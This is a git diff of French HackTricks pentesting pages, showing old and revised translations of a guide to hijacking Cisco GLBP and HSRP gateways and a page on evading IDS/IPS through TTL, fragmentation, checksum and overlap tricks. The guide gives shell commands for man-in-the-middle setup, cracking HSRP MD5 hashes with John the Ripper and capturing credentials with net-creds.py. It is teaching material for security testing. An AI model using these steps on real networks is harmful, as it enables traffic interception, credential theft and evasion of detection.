Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks:
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,61 +2,61 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks:
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
## Vue d'ensemble du détournement FHRP
|
## Aperçu du détournement FHRP
|
||||||
|
|
||||||
### Comprendre le FHRP
|
### Compréhension de FHRP
|
||||||
Le First Hop Redundancy Protocol (FHRP) est une suite de protocoles assurant la résilience du réseau en combinant plusieurs routeurs physiques en une seule entité virtuelle. Cela améliore la distribution de charge et la tolérance aux pannes. Cisco Systems a introduit deux protocoles FHRP notables : GLBP et HSRP.
|
Le protocole de redondance de premier saut (FHRP) est un ensemble de protocoles garantissant la résilience du réseau en combinant plusieurs routeurs physiques en une seule entité virtuelle. Cela améliore la distribution de charge et la tolérance aux pannes. Cisco Systems a introduit deux protocoles FHRP notables : GLBP et HSRP.
|
||||||
|
|
||||||
### Détails du protocole GLBP
|
### Détails du protocole GLBP
|
||||||
Développé par Cisco, le GLBP (Gateway Load Balancing Protocol) fonctionne au-dessus de la pile TCP/IP, utilisant UDP sur le port 3222 pour la communication. Les routeurs au sein d'un groupe GLBP envoient des paquets "hello" toutes les 3 secondes. L'absence de ces paquets pendant 10 secondes de la part d'un routeur indique sa défaillance. Cependant, ces paramètres de temporisation sont ajustables.
|
Développé par Cisco, GLBP (Gateway Load Balancing Protocol) fonctionne au-dessus de la pile TCP/IP, utilisant UDP sur le port 3222 pour la communication. Les routeurs au sein d'un groupe GLBP envoient des paquets "hello" toutes les 3 secondes. L'absence de ces paquets pendant 10 secondes d'un routeur indique sa défaillance. Cependant, ces paramètres de minuterie sont ajustables.
|
||||||
|
|
||||||
### Fonctionnement et équilibrage de charge GLBP
|
### Fonctionnement et équilibrage de charge de GLBP
|
||||||
Le GLBP permet le partage de charge entre plusieurs routeurs en utilisant une seule adresse IP virtuelle et diverses adresses MAC virtuelles. Chaque routeur du groupe participe au transfert des paquets. Le GLBP se distingue du HSRP/VRRP en offrant un véritable équilibrage de charge, qui comprend :
|
GLBP permet le partage de charge entre plusieurs routeurs en utilisant une seule adresse IP virtuelle et diverses adresses MAC virtuelles. Chaque routeur du groupe participe à la transmission des paquets. GLBP diffère de HSRP/VRRP en offrant un véritable équilibrage de charge, qui comprend :
|
||||||
|
|
||||||
- **Dépendant de l'hôte :** Assure qu'un hôte reçoit la même adresse MAC AVF, préservant les configurations NAT.
|
- **Dépendant de l'hôte :** Assure qu'un hôte reçoit la même adresse MAC AVF, préservant les configurations NAT.
|
||||||
- **Round-Robin :** Le mode par défaut où les adresses MAC AVF sont distribuées alternativement.
|
- **Round-Robin :** Le mode par défaut où les adresses MAC AVF sont distribuées de manière alternative.
|
||||||
- **Round-Robin basé sur le poids :** Équilibre la charge en fonction d'une métrique "Poids" prédéfinie.
|
- **Round-Robin basé sur le poids :** Équilibre la charge en fonction d'une métrique de "Poids" prédéfinie.
|
||||||
|
|
||||||
### Rôles et terminologie du domaine GLBP
|
### Rôles de domaine et terminologie GLBP
|
||||||
- **AVG (Active Virtual Gateway) :** Le routeur principal, distribuant les adresses MAC aux autres routeurs.
|
- **AVG (Passerelle virtuelle active) :** Le routeur principal, distribuant des adresses MAC aux autres routeurs.
|
||||||
- **AVF (Active Virtual Forwarder) :** Un routeur gérant le trafic réseau.
|
- **AVF (Transmetteur virtuel actif) :** Un routeur gérant le trafic réseau.
|
||||||
- **Priorité GLBP :** Décide de l'AVG, avec une valeur par défaut de 100 et une plage de 1 à 255.
|
- **Priorité GLBP :** Décide de l'AVG, avec une valeur par défaut de 100 et une plage de 1 à 255.
|
||||||
- **Poids GLBP :** Indique le niveau de charge du routeur, ajustable manuellement ou via le suivi d'objet.
|
- **Poids GLBP :** Indique le niveau de charge du routeur, ajustable manuellement ou via le suivi d'objets.
|
||||||
- **Adresse IP virtuelle GLBP :** Sert de passerelle par défaut pour les appareils connectés.
|
- **Adresse IP virtuelle GLBP :** Agit comme passerelle par défaut pour les appareils connectés.
|
||||||
|
|
||||||
Pour la communication, le GLBP utilise l'adresse multicast réservée 224.0.0.102 et le port UDP 3222. Les paquets "hello" sont envoyés toutes les 3 secondes, et les routeurs sont marqués comme "morts" si un paquet n'est pas reçu dans les 10 secondes.
|
Pour la communication, GLBP utilise l'adresse multicast réservée 224.0.0.102 et le port UDP 3222. Des paquets "hello" sont envoyés toutes les 3 secondes, et les routeurs sont marqués comme "morts" si un paquet n'est pas reçu dans les 10 secondes.
|
||||||
|
|
||||||
### Mécanisme d'attaque GLBP
|
### Mécanisme d'attaque GLBP
|
||||||
Un attaquant peut devenir le routeur principal en envoyant un paquet GLBP avec la valeur de priorité la plus élevée (255). Cela peut conduire à des attaques de DoS ou MITM, permettant l'interception ou la redirection du trafic.
|
Un attaquant peut devenir le routeur principal en envoyant un paquet GLBP avec la valeur de priorité la plus élevée (255). Cela peut entraîner des attaques de déni de service ou de l'homme du milieu, permettant l'interception ou la redirection du trafic.
|
||||||
|
|
||||||
### Exécution d'une attaque GLBP avec Loki
|
### Exécution d'une attaque GLBP avec Loki
|
||||||
[Loki](https://github.com/raizo62/loki_on_kali) peut réaliser une attaque GLBP en injectant un paquet avec la priorité et le poids définis sur 255. Les étapes préalables à l'attaque impliquent de recueillir des informations telles que l'adresse IP virtuelle, la présence d'authentification et les valeurs de priorité des routeurs à l'aide d'outils comme Wireshark.
|
[Loki](https://github.com/raizo62/loki_on_kali) peut effectuer une attaque GLBP en injectant un paquet avec une priorité et un poids définis à 255. Les étapes préalables à l'attaque consistent à recueillir des informations telles que l'adresse IP virtuelle, la présence d'authentification et les valeurs de priorité du routeur à l'aide d'outils comme Wireshark.
|
||||||
|
|
||||||
Étapes de l'attaque :
|
Étapes de l'attaque :
|
||||||
1. Passer en mode promiscuous et activer l'IP forwarding.
|
1. Passer en mode promiscuité et activer le transfert IP.
|
||||||
2. Identifier le routeur cible et récupérer son IP.
|
2. Identifier le routeur cible et récupérer son adresse IP.
|
||||||
3. Générer un ARP Gratuit.
|
3. Générer une ARP gratuit.
|
||||||
4. Injecter un paquet GLBP malveillant, se faisant passer pour l'AVG.
|
4. Injecter un paquet GLBP malveillant, en se faisant passer pour l'AVG.
|
||||||
5. Assigner une adresse IP secondaire à l'interface réseau de l'attaquant, reflétant l'adresse IP virtuelle GLBP.
|
5. Attribuer une adresse IP secondaire à l'interface réseau de l'attaquant, en reflétant l'adresse IP virtuelle GLBP.
|
||||||
6. Mettre en place un SNAT pour une visibilité complète du trafic.
|
6. Mettre en œuvre SNAT pour une visibilité totale du trafic.
|
||||||
7. Ajuster le routage pour assurer la continuité de l'accès à Internet via le routeur AVG original.
|
7. Ajuster le routage pour garantir un accès continu à Internet via le routeur AVG d'origine.
|
||||||
|
|
||||||
En suivant ces étapes, l'attaquant se positionne comme un "homme au milieu", capable d'intercepter et d'analyser le trafic réseau, y compris les données non chiffrées ou sensibles.
|
En suivant ces étapes, l'attaquant se positionne en tant qu'homme du milieu, capable d'intercepter et d'analyser le trafic réseau, y compris les données non chiffrées ou sensibles.
|
||||||
|
|
||||||
Pour démonstration, voici les extraits de commande requis :
|
Pour la démonstration, voici les extraits de commandes requis:
|
||||||
```bash
|
```bash
|
||||||
# Enable promiscuous mode and IP forwarding
|
# Enable promiscuous mode and IP forwarding
|
||||||
sudo ip link set eth0 promisc on
|
sudo ip link set eth0 promisc on
|
||||||
|
@ -70,80 +70,60 @@ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
||||||
sudo route del default
|
sudo route del default
|
||||||
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
|
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
|
||||||
```
|
```
|
||||||
Surveillance et interception du trafic peuvent être réalisées en utilisant net-creds.py ou des outils similaires pour capturer et analyser les données circulant à travers le réseau compromis.
|
|
||||||
|
|
||||||
### Explication passive du détournement de HSRP avec détails des commandes
|
### Explication passive du détournement de HSRP avec détails des commandes
|
||||||
|
|
||||||
#### Vue d'ensemble de HSRP (Hot Standby Router/Redundancy Protocol)
|
#### Aperçu de HSRP (Protocole de redondance/de routeur en veille active)
|
||||||
HSRP est un protocole propriétaire de Cisco conçu pour la redondance de passerelle réseau. Il permet la configuration de plusieurs routeurs physiques en une seule unité logique avec une adresse IP partagée. Cette unité logique est gérée par un routeur principal responsable de la direction du trafic. Contrairement à GLBP, qui utilise des métriques telles que la priorité et le poids pour l'équilibrage de charge, HSRP s'appuie sur un seul routeur actif pour la gestion du trafic.
|
HSRP est un protocole propriétaire de Cisco conçu pour la redondance de passerelle réseau. Il permet la configuration de plusieurs routeurs physiques en une seule unité logique avec une adresse IP partagée. Cette unité logique est gérée par un routeur principal responsable de la direction du trafic. Contrairement à GLBP, qui utilise des métriques comme la priorité et le poids pour l'équilibrage de charge, HSRP repose sur un seul routeur actif pour la gestion du trafic.
|
||||||
|
|
||||||
#### Rôles et terminologie dans HSRP
|
#### Rôles et terminologie en HSRP
|
||||||
- **Routeur actif HSRP** : L'appareil agissant comme passerelle, gérant le flux de trafic.
|
- **Routeur actif HSRP**: Le dispositif agissant en tant que passerelle, gérant le flux de trafic.
|
||||||
- **Routeur de secours HSRP** : Un routeur de sauvegarde, prêt à prendre le relais si le routeur actif échoue.
|
- **Routeur en veille HSRP**: Un routeur de secours, prêt à prendre le relais si le routeur actif échoue.
|
||||||
- **Groupe HSRP** : Un ensemble de routeurs collaborant pour former un seul routeur virtuel résilient.
|
- **Groupe HSRP**: Un ensemble de routeurs collaborant pour former un seul routeur virtuel résilient.
|
||||||
- **Adresse MAC HSRP** : Une adresse MAC virtuelle attribuée au routeur logique dans la configuration HSRP.
|
- **Adresse MAC HSRP**: Une adresse MAC virtuelle attribuée au routeur logique dans la configuration HSRP.
|
||||||
- **Adresse IP virtuelle HSRP** : L'adresse IP virtuelle du groupe HSRP, agissant comme passerelle par défaut pour les appareils connectés.
|
- **Adresse IP virtuelle HSRP**: L'adresse IP virtuelle du groupe HSRP, agissant en tant que passerelle par défaut pour les appareils connectés.
|
||||||
|
|
||||||
#### Versions de HSRP
|
#### Versions de HSRP
|
||||||
HSRP existe en deux versions, HSRPv1 et HSRPv2, se différenciant principalement par la capacité du groupe, l'utilisation d'IP multicast et la structure de l'adresse MAC virtuelle. Le protocole utilise des adresses IP multicast spécifiques pour l'échange d'informations de service, avec des paquets Hello envoyés toutes les 3 secondes. Un routeur est présumé inactif si aucun paquet n'est reçu dans un intervalle de 10 secondes.
|
HSRP existe en deux versions, HSRPv1 et HSRPv2, différant principalement en capacité de groupe, utilisation d'IP multicast et structure d'adresse MAC virtuelle. Le protocole utilise des adresses IP multicast spécifiques pour l'échange d'informations de service, avec des paquets Hello envoyés toutes les 3 secondes. Un routeur est considéré comme inactif s'il ne reçoit aucun paquet dans un intervalle de 10 secondes.
|
||||||
|
|
||||||
#### Mécanisme d'attaque HSRP
|
#### Mécanisme d'attaque HSRP
|
||||||
Les attaques HSRP impliquent de prendre de force le rôle du routeur actif en injectant une valeur de priorité maximale. Cela peut conduire à une attaque de type Man-In-The-Middle (MITM). Les étapes préalables essentielles à l'attaque comprennent la collecte de données sur la configuration HSRP, qui peut être réalisée en utilisant Wireshark pour l'analyse du trafic.
|
Les attaques HSRP impliquent de prendre de force le rôle du routeur actif en injectant une valeur de priorité maximale. Cela peut entraîner une attaque de l'homme du milieu (MITM). Les étapes essentielles préalables à l'attaque incluent la collecte de données sur la configuration HSRP, ce qui peut être fait en utilisant Wireshark pour l'analyse du trafic.
|
||||||
|
|
||||||
#### Étapes pour contourner l'authentification HSRP
|
#### Étapes pour contourner l'authentification HSRP
|
||||||
1. Sauvegardez le trafic réseau contenant les données HSRP dans un fichier .pcap.
|
1. Enregistrer le trafic réseau contenant des données HSRP dans un fichier .pcap.
|
||||||
```shell
|
```shell
|
||||||
tcpdump -w hsrp_traffic.pcap
|
tcpdump -w hsrp_traffic.pcap
|
||||||
```
|
```
|
||||||
2. Extrayez les hachages MD5 du fichier .pcap en utilisant hsrp2john.py.
|
2. Extraire les hachages MD5 du fichier .pcap en utilisant hsrp2john.py.
|
||||||
```shell
|
```shell
|
||||||
python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
|
python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
|
||||||
```
|
```
|
||||||
3. Cassez les hachages MD5 en utilisant John the Ripper.
|
3. Casser les hachages MD5 en utilisant John the Ripper.
|
||||||
```shell
|
```shell
|
||||||
john --wordlist=mywordlist.txt hsrp_hashes
|
john --wordlist=mywordlist.txt hsrp_hashes
|
||||||
```
|
```
|
||||||
|
|
||||||
**Exécution de l'injection HSRP avec Loki**
|
**Exécution de l'injection HSRP avec Loki**
|
||||||
|
|
||||||
1. Lancez Loki pour identifier les annonces HSRP.
|
1. Lancer Loki pour identifier les annonces HSRP.
|
||||||
2. Réglez l'interface réseau en mode promiscuous et activez le transfert IP.
|
2. Définir l'interface réseau en mode promiscuité et activer le transfert IP.
|
||||||
```shell
|
```shell
|
||||||
sudo ip link set eth0 promisc on
|
sudo ip link set eth0 promisc on
|
||||||
sudo sysctl -w net.ipv4.ip_forward=1
|
sudo sysctl -w net.ipv4.ip_forward=1
|
||||||
```
|
```
|
||||||
3. Utilisez Loki pour cibler le routeur spécifique, entrez le mot de passe HSRP craqué et effectuez les configurations nécessaires pour vous faire passer pour le routeur actif.
|
3. Utiliser Loki pour cibler un routeur spécifique, entrer le mot de passe HSRP cassé et effectuer les configurations nécessaires pour se faire passer pour le routeur actif.
|
||||||
4. Après avoir obtenu le rôle de routeur actif, configurez votre interface réseau et les tables IP pour intercepter le trafic légitime.
|
4. Après avoir obtenu le rôle de routeur actif, configurer votre interface réseau et les tables IP pour intercepter le trafic légitime.
|
||||||
```shell
|
```shell
|
||||||
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
|
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
|
||||||
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
||||||
```
|
```
|
||||||
5. Modifiez la table de routage pour acheminer le trafic via l'ancien routeur actif.
|
5. Modifier la table de routage pour faire passer le trafic par l'ancien routeur actif.
|
||||||
```shell
|
```shell
|
||||||
sudo route del default
|
sudo route del default
|
||||||
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
|
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
|
||||||
```
|
```
|
||||||
6. Utilisez net-creds.py ou un utilitaire similaire pour capturer les identifiants à partir du trafic intercepté.
|
6. Utiliser net-creds.py ou un utilitaire similaire pour capturer les informations d'identification du trafic intercepté.
|
||||||
```shell
|
```shell
|
||||||
sudo python2 net-creds.py -i eth0
|
sudo python2 net-creds.py -i eth0
|
||||||
```
|
```
|
||||||
|
|
||||||
L'exécution de ces étapes place l'attaquant dans une position pour intercepter et manipuler le trafic, de manière similaire à la procédure de détournement de GLBP. Cela met en évidence la vulnérabilité dans les protocoles de redondance comme HSRP et la nécessité de mesures de sécurité robustes.
|
L'exécution de ces étapes place l'attaquant dans une position pour intercepter et manipuler le trafic, similaire à la procédure de détournement de GLBP. Cela met en évidence la vulnérabilité des protocoles de redondance comme HSRP et la nécessité de mesures de sécurité robustes.
|
||||||
|
|
||||||
|
|
||||||
# Références
|
|
||||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs exclusifs**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
||||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
|
@ -1,23 +1,21 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
# **Manipulation de TTL**
|
# **Manipulation du TTL**
|
||||||
|
|
||||||
Envoyez des paquets avec un TTL suffisant pour arriver à l'IDS/IPS mais pas suffisant pour arriver au système final. Ensuite, envoyez d'autres paquets avec les mêmes séquences que les autres pour que l'IPS/IDS pense qu'ils sont des répétitions et ne les vérifie pas, mais en réalité, ils transportent le contenu malveillant.
|
Envoyez des paquets avec un TTL suffisant pour arriver à l'IDS/IPS mais pas suffisant pour arriver au système final. Ensuite, envoyez d'autres paquets avec les mêmes séquences que les premiers pour que l'IPS/IDS pense qu'il s'agit de répétitions et ne les vérifie pas, alors qu'en réalité, ils transportent un contenu malveillant.
|
||||||
|
|
||||||
**Option Nmap :** `--ttlvalue <valeur>`
|
**Option Nmap :** `--ttlvalue <valeur>`
|
||||||
|
|
||||||
|
@ -35,7 +33,7 @@ Fragmentez simplement les paquets et envoyez-les. Si l'IDS/IPS n'a pas la capaci
|
||||||
|
|
||||||
# **Checksum invalide**
|
# **Checksum invalide**
|
||||||
|
|
||||||
Les capteurs ne calculent généralement pas le checksum pour des raisons de performance. __ Ainsi, un attaquant peut envoyer un paquet qui sera **interprété par le capteur mais rejeté par l'hôte final.** Exemple :
|
Les capteurs ne calculent généralement pas le checksum pour des raisons de performance. Ainsi, un attaquant peut envoyer un paquet qui sera **interprété par le capteur mais rejeté par l'hôte final.** Exemple :
|
||||||
|
|
||||||
Envoyez un paquet avec le drapeau RST et un checksum invalide, de sorte que l'IPS/IDS puisse penser que ce paquet va fermer la connexion, mais l'hôte final rejettera le paquet car le checksum est invalide.
|
Envoyez un paquet avec le drapeau RST et un checksum invalide, de sorte que l'IPS/IDS puisse penser que ce paquet va fermer la connexion, mais l'hôte final rejettera le paquet car le checksum est invalide.
|
||||||
|
|
||||||
|
@ -45,13 +43,13 @@ Un capteur peut ignorer les paquets avec certains drapeaux et options définis d
|
||||||
|
|
||||||
# **Chevauchement**
|
# **Chevauchement**
|
||||||
|
|
||||||
Il est possible que lors de la fragmentation d'un paquet, un certain chevauchement existe entre les paquets (peut-être que les 8 premiers octets du paquet 2 chevauchent avec les 8 derniers octets du paquet 1, et les 8 derniers octets du paquet 2 chevauchent avec les 8 premiers octets du paquet 3). Ensuite, si l'IDS/IPS les réassemble différemment de l'hôte final, un paquet différent sera interprété.\
|
Il est possible que lors de la fragmentation d'un paquet, un certain chevauchement existe entre les paquets (peut-être que les 8 premiers octets du paquet 2 chevauchent avec les 8 derniers octets du paquet 1, et les 8 derniers octets du paquet 2 chevauchent avec les 8 premiers octets du paquet 3). Ensuite, si l'IDS/IPS les réassemble de manière différente de l'hôte final, un paquet différent sera interprété.\
|
||||||
Ou peut-être que 2 paquets avec le même décalage arrivent et que l'hôte doit décider lequel il prend.
|
Ou peut-être que 2 paquets avec le même décalage arrivent et que l'hôte doit décider lequel il prend.
|
||||||
|
|
||||||
* **BSD** : Il a une préférence pour les paquets avec un _décalage_ plus petit. Pour les paquets avec le même décalage, il choisira le premier.
|
* **BSD** : Il préfère les paquets avec un _décalage_ plus petit. Pour les paquets avec le même décalage, il choisira le premier.
|
||||||
* **Linux** : Comme BSD, mais il préfère le dernier paquet avec le même décalage.
|
* **Linux** : Comme BSD, mais il préfère le dernier paquet avec le même décalage.
|
||||||
* **Premier** (Windows) : La première valeur qui vient, la valeur qui reste.
|
* **Premier** (Windows) : Première valeur qui arrive, valeur qui reste.
|
||||||
* **Dernier** (cisco) : La dernière valeur qui vient, la valeur qui reste.
|
* **Dernier** (Cisco) : Dernière valeur qui arrive, valeur qui reste.
|
||||||
|
|
||||||
# Outils
|
# Outils
|
||||||
|
|
||||||
|
@ -59,3 +57,15 @@ Ou peut-être que 2 paquets avec le même décalage arrivent et que l'hôte doit
|
||||||
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
|
@ -1,29 +1,27 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
